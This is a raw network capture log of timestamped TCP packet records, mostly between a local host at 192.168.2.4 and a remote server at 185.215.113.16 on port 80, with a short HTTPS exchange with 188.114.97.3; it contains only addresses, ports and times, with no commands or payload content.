Oct 30, 2024 12:37:02.495552063 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495567083 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495589972 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495601892 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495601892 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495613098 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495628119 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495629072 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495642900 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495652914 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495659113 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495676041 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495692015 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495706081 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495713949 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495727062 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495743036 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495752096 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495763063 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495774984 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495789051 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495801926 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495804071 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495819092 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495821953 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495834112 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495847940 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495862961 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495868921 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495878935 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495893955 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495908022 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495908022 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495923996 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495929956 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495939016 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495954037 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495960951 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495968103 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495984077 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.495984077 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.495997906 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496001959 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496016026 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496030092 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496041059 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496046066 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496062040 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496078014 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496078014 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496092081 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496098995 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496109009 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496121883 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496143103 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496181965 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496355057 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496412039 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496428013 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496464968 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496473074 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496484995 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496571064 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496588945 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496604919 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496623039 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496628046 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496644974 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496651888 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496659994 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496670008 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496676922 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496690989 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496706963 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496711969 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496757984 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496757984 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496778965 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496793985 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496808052 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496829987 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496831894 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496848106 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496855974 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496861935 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496877909 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496877909 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496892929 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496908903 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496912003 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496931076 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496946096 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496953011 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496959925 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496974945 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.496977091 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496992111 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.496998072 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497014999 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497031927 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497037888 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497055054 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497068882 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497075081 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497086048 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497097015 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497101068 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497117996 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497132063 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497134924 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497145891 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497154951 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497169018 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497174978 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497183084 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497198105 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497214079 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497217894 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497227907 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497237921 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497243881 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497258902 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497272968 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497275114 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497296095 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497299910 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497311115 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497323036 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497325897 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497339010 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497347116 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497356892 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497363091 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497375011 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497379065 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497392893 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497395039 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497411966 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497425079 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497464895 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497464895 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497472048 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497486115 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497500896 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497515917 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497515917 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497530937 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497543097 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497543097 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497545958 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497560978 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497560978 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497575998 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497586966 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497591972 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497606993 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497622967 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497642994 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497662067 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497728109 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497741938 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497756958 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497775078 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497795105 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497797966 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497812033 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497812986 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497828007 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497843027 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.497850895 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497852087 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497870922 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497890949 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.497967958 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498018026 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498058081 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498071909 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498089075 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498117924 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498138905 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498158932 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498174906 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498189926 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498203039 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498207092 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498229027 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498229027 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498246908 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498269081 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498285055 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498328924 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498373032 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498389006 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498404980 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498418093 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498420000 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498436928 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498446941 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498451948 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498467922 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498483896 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498502970 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498570919 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498585939 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498600006 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498610020 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498615980 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498631954 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498644114 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498646975 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498661995 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498663902 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498701096 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498702049 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498720884 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498723030 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498738050 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498754025 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498754025 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498769045 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498779058 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498779058 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498784065 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498796940 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498799086 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498812914 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498815060 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498830080 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498831987 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498851061 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498857975 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498869896 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498882055 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498897076 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498910904 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498924971 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498927116 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498939991 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498945951 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498955011 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498966932 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.498970985 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498985052 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.498999119 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.499001026 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499007940 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.499016047 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499030113 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499042034 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.499043941 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499058962 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499068022 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.499075890 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499082088 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.499090910 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499106884 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499109030 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.499119043 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.499119997 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.499141932 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.499166965 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.503196955 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.596802950 CET	443	49764	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:02.596889973 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:02.598587990 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:02.598613977 CET	443	49764	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:02.599718094 CET	443	49764	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:02.601365089 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:02.601430893 CET	49764	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:37:02.601448059 CET	443	49764	188.114.97.3	192.168.2.4
Oct 30, 2024 12:37:02.611661911 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611676931 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611694098 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611726046 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611726046 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611767054 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611769915 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611783028 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611804962 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611830950 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611845970 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611860991 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611860991 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611879110 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611886024 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611886024 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611891985 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611905098 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611906052 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611920118 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611924887 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611939907 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611948967 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611958027 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611963987 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611977100 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.611979008 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.611999035 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612003088 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612019062 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612035990 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612049103 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612051010 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612066031 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612075090 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612090111 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612095118 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612104893 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612116098 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612128019 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612131119 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612147093 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612152100 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612164021 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612170935 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612178087 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612196922 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612196922 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612207890 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612217903 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612237930 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.612256050 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.612282038 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644119024 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644140959 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644157887 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644171953 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644191027 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644197941 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644212961 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644227028 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644233942 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644242048 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644252062 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644265890 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644283056 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644284010 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644296885 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.644301891 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.644313097 CET	80	49757	185.215.113.16	192.168.2.4
